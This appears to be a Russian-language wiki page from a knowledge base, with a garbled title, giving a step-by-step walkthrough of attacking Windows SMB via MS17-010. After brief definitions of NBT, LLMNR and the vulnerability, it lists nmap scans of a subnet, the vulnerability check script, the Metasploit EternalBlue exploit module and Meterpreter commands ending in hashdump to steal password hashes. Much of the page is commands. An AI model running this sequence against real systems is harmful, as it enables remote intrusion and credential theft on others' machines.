????? Win ????? ? ???????????? Smb ??????????

NBT (NetBIOS over TCP/IP) — механизм отображения запросов NetBIOS на TCP/IP.

Служба имен NetBIOS (NBT-NS) — это протокол Windows, который используется для преобразования имен NetBIOS в IP-адреса в локальной сети.

LLMNR, англ. Link-Local Multicast Name Resolution — протокол стека TCP/IP, основанный на формате пакета данных DNS,
который позволяет компьютерам выполнять разрешение имен хостов в локальной сети.

MS17-010 — обновление безопасности, устраняющее уязвимости в Microsoft Windows. Наиболее серьезная из уязвимостей может позволить удаленное выполнение кода, если злоумышленник отправит специально созданные сообщения на сервер Microsoft Server Message Block 1.0 (SMBv1).

Пример

Ищем машины в сети

```
nmap -Pn -n -F -sT --open 192.168.10.0/24
```

Получаем расширенную информацию о найденной машине

```
nmap -Pn -n -p 445 -sC -v --open 192.168.10.4
```

Находим точное название скрипта проверки на подверженность уязвимости Smb

```
find /usr/share/nmap/scripts -iname '*MS17*'

/usr/share/nmap/scripts/smb-vuln-ms17-010.nse

nmap -Pn -n -p 445 --script smb-vuln-ms17-010 -v --open 192.168.10.4
```

Находим уязвимость в msf и эксплуатируем ее

```
$ msfconsole
msf6> search ms17-010
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set RHOSTS 192.168.10.4
msf6> run
```

Соберем информацию о текущем пользователе

```
meterpreter> sysinfo


meterpreter> getuid
```

Получим хэши паролей пользователей

```
meterpreter> hashdump
```

Revision #1
Created 9 October 2025 17:33:25 by Admin
Updated 9 October 2025 17:56:32 by Admin